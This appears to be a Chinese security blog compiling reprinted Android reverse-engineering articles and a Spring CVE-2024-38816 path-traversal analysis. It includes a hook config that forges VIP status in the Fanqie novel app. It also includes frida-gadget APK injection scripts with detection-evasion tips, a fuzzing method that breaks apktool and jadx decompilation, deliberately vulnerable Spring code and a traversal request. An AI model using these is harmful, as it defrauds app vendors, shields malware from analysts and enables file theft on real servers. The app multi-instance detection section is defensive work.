【实用教程】记Simplehook+Lspatch+Shizuku 免root使用教程番茄为例

Nov 17, 2025

【实用教程】记Simplehook+Lspatch+Shizuku 免root使用教程番茄为例

本文转自 w1234567890 并作补充

发现论坛好多小伙伴有了simplehook配置却不知道怎么用，而且搜了一下论坛也没有免root用hook的简洁教程，今天就来以番茄为例子写一个教程，希望对大家有帮助。

注：此教程以番茄为例子，面向不方便真机root，虚拟机不会弄root，lsp的小伙伴，全程免root，可以在真机丝滑使用。需要root的有大把教程，基本和免root大同小异，我结尾也附了一些截图就不详细说了，看不懂的搜一下。

「
受害者

需要工具

教程开始
」

受害者:

需要工具:

simplehook配置在下面

番茄(5.9.3.32)点我下载

Simplehook(normal版) 点我下载

Lspatch 点我下载

Shizuku 点我下载

教程开始:

注意，因为我看到一个番茄的hook配置，所以此教程才以番茄为例子，其他软件也可以，别较真

一.安装以上四个软件

二.Shizuku配置激活

1.下载安装

2.按官方教程配对启动(推荐用无线配对)

点我查看官方教程

3.成功后看最上面显示shizuku正在运行即可

4.点管理授权应用，勾选Lspatch

三.Lspatch配置教程

1.打开LSPatch，看到shizuku服务可用

2.点管理页点击+号，找到番茄安装包或者安装到手机直接搜索

3.然后选本地模式修补，签名选用lv2然后点击开始修补

ps:注意看提示打开番茄，需要先打开LSPatch，不然会闪退

4.如图最后一行路径(我记得刚开始有弹窗让你选修补路径)就是安装包所在，安装即可

5.重进LSPatch，再次进入管理页，就会看到番茄

6.长按番茄，然后选择模块作用域，把下载的simplehook勾选上就行了

四.Simplehook配置

1.点首页右下角加号

2.复制如下番茄(测试软件)配置（可能论坛问题，分享的代码配置有朋友说格式错误，所以用附件分享）
1
>[{"packageName":"com.dragon.read","appName":"番茄免费小说","versionName":"5.9.3.32","description":"","configs":"[{"mode":2,"className":"com.dragon.read.widget.m","methodName":"a","params":"*","enable":false},{"mode":2,"className":"com.dragon.read.reader.ad.readflow","methodName":"*","params":"*","enable":false},{"mode":1,"className":"com.dragon.read.user.model.VipInfoModel","methodName":"<init>","params":"java.lang.String,java.lang.String,java.lang.String,Z,Z,I,Z,com.dragon.read.rpc.model.VipSubType","resultValues":"1893211199s,1s,1s,true,true,,true,"}]","id":3}]
点我下载提取码：pBVj

（注：实际上可以不管这些配置，框架自带的足够用了）

3.点导入配置

4.就会出现番茄图标

5.长按点启动即可

注:填写完simplehook配置之后，需要清除番茄数据，然后再重新打开。如果发现未生效，重复操作即可。

ps:番茄验签好像有问题，我昨天测试的时候一切正常，今天弄又提示不安全了，用虚拟机又可以了。不过没事免root教程就这样，大家可以换软件测试。

————

真机测试图(图一昨日成功图二今日失败):

虚拟机测试和配置(一切正常，会员功能可用):

注：此篇文章是原作者怕被查水表，所以把图片都隐去了，但是工具使用都是没问题的，确实是在应用未加固或加固能力不强时可用的

Hook Reprint

非root环境下frida持久化的两种方式及脚本

Nov 17, 2025

非root环境下frida持久化的两种方式及脚本

本文转自八重嘤并作补充

frida是一个非常好用的hook框架，但使用中有两个问题，一是非root手机使用挺麻烦的，二是frida相较于其他HOOK框架没那么持久。网上的持久化大多基于xposed、刷ROM或者是virtualapp，前面两个是比较重量级，不够轻便。虚拟化技术本身就自带风险，很容易被检测到。

在Android端，网上教程里大部分都是使用frida server来进行hook，其实还有一种使用方法为 frida gadget，此方法需要将frida-gadget.so注入到apk中，纯手动的话过于麻烦，所以这里实现两个脚本，分别用修改smali、修改so来注入目标。

我使用的frida-gadget版本为14.2.18。有其他版本的需求，需要替换tools下的so文件

方法一调试apk中含有so

此方法相对简单。原理来自于古早的静态注入方式：Android平台感染ELF文件实现模块注入

而这种注入方式有工具可以快速实现：How to use frida on a non-rooted device

该方法优点在于可以让gadget是第一个启动的，缺点是没有so的apk不能用。

1.效果

首先运行注入脚本，获得注入且重签名后的apk。直接安装。

将frida_script.js push 到/data/local/tmp。frida_script.js为你的hook代码：
1
2
3
4
Java.perform(function () {
  var Log = Java.use("android.util.Log");
  Log.e("frida-OOOK", "Have fun!");
});//android 不要使用console.log
打开app即可看到效果，app每次启动都会成功的打印LOG：

不想使用持久化（本地js脚本），也可以通过电脑连接：

不使用持久化，就不必添加config文件，所以脚本执行不需要执行-persistence，执行下面的就可以：
1
python LIEFInjectFrida.py apkfile  outdir  libnative-lib.so  -apksign

2.代码

工具详细代码：https://github.com/nszdhd1/UtilScript/blob/main/LIEFInjectFrida.py

运行脚本记得安装lief（pip install lief）

其实关键代码就几行：
1
2
3
4
5
6
for soname in injectsolist: #遍历apk中指定SO有哪几种架构，并添加gadget.so为依赖库。
  if soname.find("x86") != -1:
    continue
  so = lief.parse(os.getcwd()+"\\"+soname)
  so.add_library("libfrida-gadget.so")
  so.write(soname+"gadget.so")

方法二 apk中没有so

在实际情况下，并不是所有的apk都有so。没有so，方法一便没有用武之地了。

此方法呢，是通过修改smali，调用System.loadLibrary来加载so。该原理更简单，但是有一个弊端就是时机不够靠前，没有办法hook Activity 启动之前的代码。

手动修改太麻烦，还是写一个脚本自动化注入。

此方法优点是原理简单，缺点是脚本实现麻烦，容易写bug

1. 效果

首先运行注入脚本，获得注入且重签名后的apk。直接安装。

frida_script.js代码同上，同样也可以使用电脑连接：

2. 代码

工具详细代码：https://github.com/nszdhd1/UtilScript/blob/main/SmaliInjectFrida.py

关键代码：

def get_launchable_activity_aapt(self): #通过aapt找到apk的启动activity
  aapt_path = os.path.join(self.toolPath, 'aapt.exe')
  cmd = '%s dump badging "%s" ' % (aapt_path, self.apkpath)
  p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
  out,err = p.communicate()
  cmd_output = out.decode('utf-8').split('\r')
  for line in cmd_output:
    #正则，pattern.search正常，pattern.match就会有问题=-=懒得解决了
    pattern = re.compile("launchable-activity: name='(\S+)'")
    match = pattern.search(line)
    if match:
      # print match.group()[27:-1]
      return match.group()[27:-1]
           
def injectso(self):
  target_activity = self.get_launchable_activity_aapt()
  for dex in self.dexList:
    print(dex)
    if self.dexDecompile(dex):
      smali_path = os.path.join(self.decompileDir,target_activity.replace('.','\\'))+".smali"
      print(smali_path)
      with open(smali_path, 'r') as fp:
        lines = fp.readlines()
        has_clinit = False
        start = 0
        for i in range(len(lines)):  
          #start是获取smali中，可以添加代码的位置
          if lines[i].find(".source") != -1:
            start = i
          #找到初始化代码
          if lines[i].find(".method static constructor <clinit>()V") != -1:
            if lines[i + 3].find(".line") != -1:
              code_line = lines[i + 3][-3:]
              lines.insert(i + 3, "%s%s\r" % (lines[i + 3][0:-3], str(int(code_line) - 2)))
              print("%s%s" % (lines[i + 3][0:-3], str(int(code_line) - 2)))
              #添加相关代码
              lines.insert(i + 4, "const-string v0, \"frida-gadget\"\r")
              lines.insert(i + 5, "invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V\r")
              has_clinit = True
              break
        #如果碰上本身没有clinit函数的apk，就需要自己添加
        if not has_clinit:
          lines.insert(start + 1, ".method static constructor <clinit>()V\r")
          lines.insert(start + 2, ".registers 1\r")
          lines.insert(start + 3, ".line 10\r")
          lines.insert(start + 4, "const-string v0, \"frida-gadget\"\r")
          lines.insert(start + 5, "invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V\r")
          lines.insert(start + 6, "return-void\r")
          lines.insert(start + 7, ".end method\r")

        with open(smali_path, "w") as fp:
          fp.writelines(lines)
      self.dexCompile(dex)

Frida 持久化检测特征

我因为方便，将frida js 放在了/data/local/tmp下，如果直接放在app的沙箱下，这就是一个稳定的hook框架了。

既然做了持久化，就要从防御者角度看看哪些方面可以检测到应用被注入了。

首先，当然是内存中会有frida-gadget.so。但这个so可以被重命名（我可以命名为常见的模块，比如libBugly.so），所以检测/proc/pid/maps下是否有frida-gadget并不准确。因为frida有一个config文件，是持久化必须存在的。所以检测libs下是否有lib*.so和lib*.config.so是一种较为可行的方法。但是，如果你不使用持久化，或者去github上找到frida的源码修改gaget.vala（ps.这一点是合理的猜想，还未验证过），就可以让防御者检测不到。
1
2
3
4
5
6
7
8
9
10
11
#gaget.vala 代码片段
if ANDROID
  if (!FileUtils.test (config_path, FileTest.EXISTS)) {
   var ext_index = config_path.last_index_of_char ('.');
   if (ext_index != -1) {
    config_path = config_path[0:ext_index] + ".config.so";#修改这里，就可以检测不到。需要保持后缀不变（例如改成symbols.so）
   } else {
    config_path = config_path + ".config.so";
   }
  }
#endif
除去端口检测这种几乎没什么用的，还有一种比较可行的是内存扫描，扫描内存中是否有LIBFRIDA_GADGET关键词，具体实现网上有教程我就不介绍了。

Frida Hook Reprint

Android 禁止应用多开

Nov 17, 2025

Android 禁止应用多开

本文转自九音并作补充

Android多开

原理

一种是从多开App中直接加载被多开的App，如平行空间、VirtualApp等，另一种是让用户新安装一个App，但这个App本质上就是一个壳，用来加载被多开的App，其原理和前一种是一样的，市面上多开分身这款App是用的这种形式，用户每分身一个App需新安装一个包名为dkmodel.xxx.xxx的App

Android检测方案

1、检查files目录路径

App的私有目录是/data/data/包名/或/data/user/用户号/包名，通过Context.getFilesDir()方法可以拿到私有目录下的files目录。

但是在多开环境下，获取到目录会变为/data/data/多开App的包名/xxxxxxxx或/data/user/用户号/多开App的包名/xxxxxxxx。

示例：

正常使用App上面的代码获取到的路径：

/data/user/0/top.darkness463.virtualcheck/files。

多开路径：

/data/user/0/dkmodel.zom.rxo/virtual/data/user/0/top.darkness463.virtualcheck/files。

2、应用列表检测

应用列表检测不是指简单的遍历应用列表判断是不是安装了多开App，我们并不阻止用户安装多开App并多开其他App，我们只是不希望用户多开我们自己的App，因此不能检测到用户安装了多开App就把他干掉。

多开App都会对context.getPackageName()进行处理，让这个方法返回原始App的包名，因此在被多开的App看来，多开App的包名和原始的那个App的包名一样，因此在多开环境下遍历应用列表时会发现包名等于原始App的包名的应用会有两个。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private boolean checkPkg(Context context){
  try{
    if (context == null){
      return false;
    }
    int count = 0;
    String packageName = context.getPackageName();
    PackageManager pm = context.getPackageManager();
    List<PackageInfo> pkgs = pm.getInstalledPackages(0);
    for (PackageInfo info : pkgs){
      if (packageName.equals(info.packageName)){
        count++;
      }
    }
    return count > 1;
  } catch (Exception ignore){}
  return false;
}
缺点：

只对部分多开App有效，例如360的分身大师，不少多开App会绕过这项检测

3、Maps检测

读取/proc/self/maps，多开App会加载一些自己的so到内存空间

比如说：

360的分身大师加载了其目录下的某个so，/data/app/com.qihoo.magic-gdEsg8KRAuJy0MuY18BlqQ==/lib/arm/libbreakpad-jni-1.5.so，通过对各种多开App的包名的匹配，如果maps中有多开App的包名的东西，那么当前就是运行在多开环境下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Set<String> virtualPkgs;
private boolean check(){
BufferedReader bufr = null;
try {
 bufr = new BufferedReader(new FileReader("/proc/self/maps"));
 String line;
 while ((line = bufr.readLine()) != null){
   for (String pkg : virtualPkgs){
     if (line.contains(pkg)){
       return true;
     }
   }
 }
} catch (Exception ignore){}
finally {
 if (bufr != null){
   try {
     bufr.close();
   } catch (IOException e){}
 }
}
return false;
}
缺点：

目前没有发现多开App绕过该项检测，但缺点是需要收集所有多开App的包名，一旦多开App改个包名就失效了。

4、ps检测

通过执行ps命令并以自己的uid进行过滤，得到类似下面的结果：

多开环境下：会获取到自己的包名和多开App的包名这2个包名，通过这些包名去/data/data/下找会找到2个目录

而正常情况下只能在/data/data/下找到自己的App的目录

具体方法网址：

(https://blog.csdn.net/shdhenghao3/article/details/94409299)

（https://www.sohu.com/a/242918900_659256）

四种方案测试结果

测试方案顺序1234，测试结果X代表未能检测O成功检测多开；

virtual app测试版本是git开源版，商用版已经修复uid的问题；

为了避免歧义，我们接下来所说的app都是指的同一款软件，并定义普通运行的app叫做本体，运行在多开软件上的app叫克隆体。并提出以下两个概念

狭义多开：

只要app是通过多开软件打开的，则认为多开，即使同一时间内只运行了一个app

广义多开：

无论app是否运行在多开软件上，只要app在运行期间，有其余的『自己』在运行，则认为多开

最终方案

第1步：扫描本地端口（扫描tcp文件并格式化端口的关键代码）

>String tcp6 =CommandUtil.getSingleInstance().exec("cat /proc/net/tcp6");

>if(TextUtils.isEmpty(tcp6))return;

String[] lines =tcp6.split("n");

ArrayListportList =newArrayList<>();

for(inti =0, len = lines.length; i < len; i++) {

intlocalHost = lines[i].indexOf("0100007F:");

//127.0.0.1:的位置

if(localHost <0)continue;

StringsinglePort = lines[i].substring(localHost +9, localHost +13);

//截取端口

Integer port =Integer.parseInt(singlePort,16);

//16进制转成10进制

portList.add(port);

}

第2步：发起连接请求

接下来向每个端口都发起一个线程进行连接，并发送自定义消息，该段消息用app的包名就行了（多开软件很大程度会hook getPackageName方法，干脆就顺着多开软件做）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
try{

//发起连接，并发送消息

Socket socket=newSocket("127.0.0.1",port);

socket.setSoTimeout(2000);

OutputStreamoutputStream = socket.getOutputStream();

outputStream.write((secret+"n").getBytes("utf-8"));

outputStream.flush();

socket.shutdownOutput();

//获取输入流，这里没做处理，纯打印

InputStreaminputStream = socket.getInputStream();

BufferedReaderbufferedReader =newBufferedReader(newInputStreamReader(inputStream));

String info=null;

while((info = bufferedReader.readLine())!=null) {

Log.i(TAG,"ClientThread: "+ info);

}

bufferedReader.close();

inputStream.close();

socket.close();

}catch(ConnectException e) {

Log.i(TAG, port+"port refused");

}
主动连接的过程完成，先于自己启动的app（可能是本体or克隆体）接收到消息并进行处理。

第3步：成为接收端，等待连接

接下来就是成为接收端，监听某端口，等待可能到来的app连接（可能是本体or克隆体）。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
privatevoidstartServer(String

secret){

Random random=newRandom();

ServerSocketserverSocket =null;

try{

serverSocket=newServerSocket();

serverSocket.bind(newInetSocketAddress("127.0.0.1",

random.nextInt(55534) +10000));

//开一个10000~65535之间的端口

while(true) {

Socket socket =serverSocket.accept();

ReadThreadreadThread =newReadThread(secret, socket);

//假如这个方案很多app都在用，还是每个连接都开线程处理一些

readThread.start();

//

serverSocket.close();

}

}catch(BindException e) {

startServer(secret);//may be loop forever

}catch(IOException e) {

e.printStackTrace();

}

}
开启端口时为了避免开一个已经开启的端口，主动捕获BindExecption，并迭代调用，可能会因此无限循环，如果怕死循环的话，可以加一个类似ConcurrentHashMap最坏尝试次数的计数值。不过实际测试没那么衰，随机端口范围10000~65535，最多尝试两次就好了。

每一个处理线程，做的事情就是匹配密文，对应上了就是某个克隆体or本体发送的密文，这里是接收端主动运行一个空指针异常，杀死自己。处理方式有点像《三体》的黑暗森林法则，谁先暴露谁先死。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
privateclassReadThreadextendsThread{

privateReadThread(String

secret, Socket socket){

InputStreaminputStream =null;

try{

inputStream =socket.getInputStream();

bytebuffer[] =newbyte[1024*4];

inttemp =0;

while((temp = inputStream.read(buffer)) !=-1) {

String result=newString(buffer,0, temp);

if(result.contains(secret)) {

//

System.exit(0);

//

Process.killProcess(Process.myPid());

nullPointTV.setText("");

}

}

inputStream.close();

socket.close();

}catch(IOException e) {

e.printStackTrace();

}

}

}
*因为端口通信需要Internet权限，本库不会通过网络上传任何隐私

本文方案已经集成到

github地址：

https://github.com/lamster2018/EasyProtector

Android Reprint

fuzz AndroidManifest.xml 实现反编译对抗

Nov 13, 2025

fuzz AndroidManifest.xml 实现反编译对抗

本文转自枫糖甜酒并作补充

有的恶意APK为了防止被apktool反编译，就会在AndroidManifest.xml里面进行一些特殊处理，来干扰apktool反编译，实现安装运行APK没问题，但是apktool 反编译的时候会出现异常并退出
例如下面这个APK，在apktool 2.8.1版本下，就无法正常反编译，但是却能够adb install安装

这篇文章Android免杀小结中提到过可以通过修改AndroidManifest.xml二进制文件中的某一位来干扰apktool的判断，但是告诉我们如何寻找这种能够干扰反编译软件的位，所以本篇会针对单位修改AndroidManifest.xml文件对抗反编译进行讨论

环境准备

本机使用windows系统，测试机 AOSP Android 11，这里的反编译工具是Apktool，截止到今天最新版本是 v2.9.0

本地更新一下jar包

010Editor，用到这个是为了查看AndroidManifest.xml 的二进制数据格式
现在环境就OK了

AndroidManifest.xml 简介

如果不了解AndroidManifest.xml 文件结构就暴力fuzz未免太粗鲁了
AndroidManifest.xml 是 Android 应用程序的清单文件，用于描述应用程序的基本信息、声明组件和权限等内容，是安卓应用开发中非常重要的一个文件
以之前写的一个AndroidManifest.xml 文件为例：

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="hi.beautifulz.myapplication">
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />

    <uses-feature android:name="android.hardware.camera" />
    <uses-feature android:name="android.hardware.camera.autofocus" />
    <uses-feature android:name="android.hardware.microphone" />

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:theme="@style/AppTheme">
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name"
            android:exported="true"
            >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver
            android:name=".MainBroadcastReceiver"
            android:label="MainBroadcastReceiver"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
        <service android:name=".MyService" android:exported="true" />
    </application>

</manifest>

简单介绍一下该文件：

元素是必须的，它定义了整个文件的根元素，并且包含了一些必要的属性，例如 package
元素用于声明应用程序所需的权限
元素用于声明应用程序所需的设备功能和硬件特性
元素是应用程序的核心元素，它包含了所有的组件和各种配置信息，例如主 activity、自定义 theme、icon 等等。
- 元素用于声明应用程序中的 Activity 组件
- 元素用于声明应用程序中的 Service 组件
- 元素用于声明应用程序中的 Broadcast Receiver 组件
- 元素用于声明应用程序中的 Content Provider 组件
- …….

AndroidManifest.xml二进制文件结构

文件大纲

MindMac师傅在看雪发的图

当然没基础的话，直接看这个图其实没什么卵用
根据附件里面的AndroidManifest.xml文件生成二进制文件，跟着MindMac的思路使用010Editor进行分析
编码前的xml文件内容如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.android.test"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="14"
        android:targetSdkVersion="19" />

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="false"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.android.test.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>
用这个xml生成APK，APK再解压之后得到AndroidManifest.xml二进制文件，丢到010editor里面，以十六进制的格式查看

感觉跟MindMac的内容有点不太一样，难道是因为版本的问题，加载AndroidManifest.bt Template

可以看到已经把AndroidManifest文件架构列出来了
MindMac把文件分为了五个结构，这里的Magic Number和File Size其实都属于header

header内容为

所以可以分为四个部分

Header : 包括文件魔数和文件大小

String Chunk : 字符串资源池

ResourceId Chunk : 系统资源 id 信息

XmlContent Chunk : 清单文件中的具体信息，其中包含了五个部分

接下来简单分析一下这几个部分

Header

AndroidManifest的魔数为 0x00080003

关于魔数
二进制文件的魔数（Magic Number）是一种固定值，用于标识文件类型或格式。不同的文件类型通常具有不同的魔数。

以下是一些常见的二进制文件魔数示例：

ELF（可执行和共享目标文件）：0x7F 0x45 0x4C 0x46

JPEG（图片文件）：0xFF 0xD8

PNG（可移植网络图形）：0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A

PDF（便携式文档格式）：0x25 0x50 0x44 0x46

ZIP（压缩文件）：0x50 0x4B 0x03 0x04

GIF（图形交换格式）：0x47 0x49 0x46 0x38

另外为什么这里是 0x00080003 而不是 0x03000800
是因为清单文件是小端表示的

在早期的apktool会识别AndroidManifest文件，如果魔数不为0x00080003则反编译失败，该方法也用在了某些恶意APK上，比如链安的这篇文章https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail

其中修改魔数为 00 00 08 00 则可以实现干扰
该方法在新版本的apktool测试已失效

该文件的filesize为0x00000904即2308字节

Other

其他的模块就不一一赘述，如果想要自己跟着分析每一块内容可以参考

https://bbs.kanxue.com/thread-194206.htm

https://juejin.cn/post/6844903747169026061

总而言之，AndroidManifest里面的每一位都有自己的作用

手动修改AndroidManifest文件

手动修改在010Editor里面修改AndroidManifest，例如这里修改为 00

然后压缩成zip文件，修改zip后缀为apk，就能够生效了（这个时候只是修改，并没有干扰反编译软件)

自动化fuzz

手动是不可能手动的

自动化fuzz的AndroidManifest.xml文本内容如下：

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.android.test"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:targetSdkVersion="29" />

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="false"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.android.test.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

获取apktool解析结果

之前先知上面的这篇文章 https://xz.aliyun.com/t/12893#toc-10 stringPoolSize陷阱，修改字符串个数 stringCount 字段，导致跟实际对应不上，会造成AndroidManifest.xml解析出现问题，但是这个问题 2.9.0已经修复了，我们在2.8.1上先捕捉一下这个错误

使用python获取apktool的运行结果，为啥这里写的这么复杂是因为apktool的运行结果直接获取不到，需要Press any key to continue . . .
需要获取实时的运行流才可以确认结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def apktoolDecode() -> bool:
    """
    获取apktool的扫描结果
    :rtype: object
        True 扫描出错
        False 扫描成功
    """
    apktool_cmd = f"apktool d -f {sign_name} "
    process = subprocess.Popen(apktool_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

    # 定义一个标志位来表示命令是否已经执行完成
    command_completed = threading.Event()

    def handle_output(stream, prefix):
        for line in stream:
            print(f"{prefix}: {line.strip()}")
            command_completed.set()  # 设置标志位，表示命令已完成

    stderr_thread = threading.Thread(target=handle_output, args=(process.stderr, "STDERR"))
    stderr_thread.start()
    timeout_seconds = 5
    command_completed.wait(timeout_seconds)

    if not command_completed.is_set():
        process.terminate()
        return False
    else:
        process.terminate()
        return True
遇到解析不了的APK的时候就会返回True，正常解析的就会返回False

优化

简单计算一下会有多少种可能性，前面提到过该文件有2308个字节，一个字节修改范围为 0x00 - 0xFF，即256，所以一共有590848种可能性，如果是单线程运行的话需要八百多个小时

蒽….
考虑已知的干扰位置，我们对每一个字节的修改范围变成下面两种可能来缩减范围：

0x00 比如魔数，把 0x03修改为了0x00

跟原本位置不同的数字，比如stringCount原来是0x23 我们修改为0x24

在这个基础上可能性缩减到了4616

获取结果

在前面的思路上编写出脚本运行就可以了，能够造成apktool 2.9.0 干扰的位置有很多，但是有的位置修改了之后会导致手机也安装不上，出现错误

adb: failed to install .\app-debug.apk: Failure [INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION: Failed to parse /data/app/vmdl1242571071.tmp/base.apk: Corrupt XML binary file]

所以我们不仅要能够干扰apktool，还需要修改之后能够正常安装
在原来的基础上添加了自动签名代码
1
2
3
4
def signApk():
    subprocess.run(
        ['jarsigner', '-verbose', '-sigalg', 'SHA1withRSA', '-digestalg', 'SHA1', '-keystore', "./spring.keystore",
         '-storepass', "123456", '-keypass', "123456", '-signedjar', "sign.apk", "./app-debug.apk", "spring"])
验证是否能正常安装代码
1
2
3
4
5
6
def installApp():
    adb_install_cmd = f'adb install  {sign_name}'
    result = os.system(adb_install_cmd)
    if result == 0:
        return True
    return False
跑了一会fuzz脚本之后就出现了结果，这里给出一个apktool2.9.0的干扰结果
在String Offsets数组里面（存储每个字符串在字符串池中的相对偏移量），修改0X00000198为0X00005098，为什么是这个值，这里只是找一个能让数组越界的下标值，因为fuzz出来是这个我就填这个了

修改之后

保存后重新打包成zip，并且签名
安装和运行没问题

使用apktool 2.9.0 进行反编译，反编译失败

jadx对抗

本来准备结束了，Red256问我能不能对抗jadx

因为没有遇到我（吐舌

使用jadx最新版本1.4.7，设置前面给出的干扰位置，把重新压缩的APK丢到jadx里面

AndroidManifest.xml解析失败，对抗成功
给APK签名后检查能否安装

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ./spring.keystore -storepass 123456 -keypass 123456 -signedjar sign.apk ./app-debug.apk spring

安装成功

小结

对于文件有增删查改四种操作，除了查操作之外，其他的三种操作都有机会对抗反编译软件，本篇也只是对改操作里面的单位操作进行了fuzz分析，除单位之外，还可以进行两位、三位….的修改，组合的情况也就更多了

具体为什么反编译软件会出现报错，我们查看反编译软件的报错

apktool报错

jadx-gui报错

其实都是指向同一个问题

java.lang.ArrayIndexOutOfBoundsException

查看apktool源代码，具体位置在
1
2
3
4
5
6
7
8
9
10
11
12
private static int[] getUtf16(byte[] array, int offset) {
    int val = ((array[offset + 1] & 0xFF) << 8 | array[offset] & 0xFF);

    if ((val & 0x8000) != 0) {
        int high = (array[offset + 3] & 0xFF) << 8;
        int low = (array[offset + 2] & 0xFF);
        int len_value =  ((val & 0x7FFF) << 16) + (high + low);
        return new int[] {4, len_value * 2};

    }
    return new int[] {2, val * 2};
}
错误在这一行

int val = ((array[offset + 1] & 0xFF) << 8 | array[offset] & 0xFF);

所以是传入的恶意偏移量导致了数组越界产生了异常并退出

参考链接

https://blog.csdn.net/qq_41866334/article/details/126853346

https://xz.aliyun.com/t/12893

https://juejin.cn/post/7158107697907236878

https://blog.csdn.net/guolin_blog/article/details/49738023

https://blog.csdn.net/baidu_31156101/article/details/108364110

https://juejin.cn/post/6844903747169026061

https://bbs.kanxue.com/thread-194206.htm

https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail

Android Apktool Reprint

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

Nov 13, 2025

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

本文转自真爱和自由并作补充

漏洞描述

https://spring.io/security/cve-2024-38816

通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以编写恶意 HTTP 请求并获取文件系统上任何可由 Spring 应用程序正在运行的进程访问的文件。

具体来说，当以下两个条件都成立时，应用程序就容易受到攻击：

Web 应用程序用于RouterFunctions提供静态资源

资源处理明确配置了FileSystemResource位置

但是，当以下任何一项满足时，恶意请求都会被阻止和拒绝：

Spring Security HTTP 防火墙正在使用中

应用程序在 Tomcat 或 Jetty 上运行

受影响的 Spring 产品和版本

Spring 框架

5.3.0 - 5.3.39

6.0.0 - 6.0.23

6.1.0 - 6.1.12

较旧的、不受支持的版本也受到影响

基础知识

首先分析一个cve说实话我是不太了解spring框架的，这时候就需要疯狂拷打GPT了

WebMvc.fn和WebFlux.fn

WebMvc

WebMvc 是 Spring Framework 提供的传统的 MVC（Model-View-Controller）架构，用于构建 web 应用程序。它使用的是 Servlet API，适合于构建基于线程的同步 web 应用。其基本组成包括：

Controller：处理 HTTP 请求的主要组件。

View：用于渲染响应的模板（如 JSP、Thymeleaf 等）。

Model：包含应用程序的核心数据。

WebFlux

WebFlux 是 Spring 5 中引入的模块，专门用于构建异步、非阻塞的 web 应用，适合于高并发和 I/O 密集型的场景。WebFlux 基于反应式编程模型，允许应用在处理请求时不阻塞线程，从而提高了性能。

RouterFunctions 和 FileSystemResource

RouterFunctions

RouterFunctions 是Spring WebFlux的一部分，它提供了一种函数式编程模型来定义请求路由和处理。使用 RouterFunctions，你可以创建一个路由，它将HTTP请求映射到处理这些请求的函数上。

FileSystemResource

FileSystemResource 是Spring框架中的一个类，它表示文件系统中的一个资源，通常用于读取和写入文件。它实现了 org.springframework.core.io.Resource 接口。

环境搭建

这里就用webflux来举例子

首先选择spring的版本，只需要在影响版本里面的就好了
1
2
3
4
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-webflux</artifactId>
</dependency>
然后因为要满足

当以下两个条件都成立时，应用程序就容易受到攻击：

Web 应用程序用于RouterFunctions提供静态资源

资源处理明确配置了FileSystemResource位置

可以问问gpt啥的

创建一个漏洞代码
1
2
3
4
5
6
7
@Configuration
public class Config {
    @Bean
    public RouterFunction<ServerResponse> test() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("D:/phpstudy_pro/WWW/"));
    }
}

漏洞复现

首先我们在D盘放一个文件，用于测试

在1.txt写入flag{scueess}

然后尝试访问路由

GET /static/%5c/%5c/../../1.txt HTTP/1.1
Host: 127.0.0.1:8888
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
